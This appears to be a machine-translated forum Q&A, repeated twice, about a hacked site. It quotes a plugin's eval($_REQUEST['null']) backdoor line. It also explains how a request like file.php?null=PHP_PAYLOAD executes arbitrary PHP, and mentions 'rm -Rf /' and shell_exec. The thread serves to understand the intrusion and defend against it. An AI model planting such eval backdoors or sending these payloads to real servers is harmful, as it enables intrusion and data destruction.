通过我认为的 eval() 代码进行炮击
Shelled through I think eval() code
最近我们被一个我不认识的人 shell 了。
我检查了所有的日志,我唯一能找到的是一个来自插件的文件,该文件可能存在缺陷,在他 POSTed 到这个 URL 之后,他可以访问上传的文件, 这确实是 shell.
我怀疑是这行代码导致了这个问题。
(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);
谁能向我解释一下有人会如何 shell 通过这个?我真的很好奇他是怎么做到的,所以我也可以通过其他插件吐槽这样的错误代码。他们基本上从这里上传了一个文件。也许 file_put_contents()
或实际的 POST 带有图像的请求?
我不熟悉黑客,我也从未使用过eval,因为我听说它实际上是一个邪恶的功能。
另外请注意,我不会用它来破解其他网站,我只是想了解这里发生了什么。
这是一个大的缺陷!您可以传递整个 PHP 脚本(通过 POST),它将在您的服务器上执行。
想象一下使用 curl (http://php.net/curl) 将任何其他恶意代码下载到您的服务器的 PHP 代码。
或者您可以发送 rm -Rf /
并告别您的文件系统...
通过发出这样的请求
http://yourdomain.com/file.php?null=PHP_PAYLOAD
由于 eval,PHP_PAYLOAD 将是 evaluated/executed。
有效负载可以是任何有效的 php,例如写入新文件、将它们下载到服务器、通过 shell_exec
运行 shell 命令。
任何有效的php代码将被执行。
最近我们被一个我不认识的人 shell 了。 我检查了所有的日志,我唯一能找到的是一个来自插件的文件,该文件可能存在缺陷,在他 POSTed 到这个 URL 之后,他可以访问上传的文件, 这确实是 shell.
我怀疑是这行代码导致了这个问题。
(isset($_REQUEST['null']) ? @eval($_REQUEST['null']) : null);
谁能向我解释一下有人会如何 shell 通过这个?我真的很好奇他是怎么做到的,所以我也可以通过其他插件吐槽这样的错误代码。他们基本上从这里上传了一个文件。也许 file_put_contents()
或实际的 POST 带有图像的请求?
我不熟悉黑客,我也从未使用过eval,因为我听说它实际上是一个邪恶的功能。 另外请注意,我不会用它来破解其他网站,我只是想了解这里发生了什么。
这是一个大的缺陷!您可以传递整个 PHP 脚本(通过 POST),它将在您的服务器上执行。
想象一下使用 curl (http://php.net/curl) 将任何其他恶意代码下载到您的服务器的 PHP 代码。
或者您可以发送 rm -Rf /
并告别您的文件系统...
通过发出这样的请求
http://yourdomain.com/file.php?null=PHP_PAYLOAD
由于 eval,PHP_PAYLOAD 将是 evaluated/executed。
有效负载可以是任何有效的 php,例如写入新文件、将它们下载到服务器、通过 shell_exec
运行 shell 命令。
任何有效的php代码将被执行。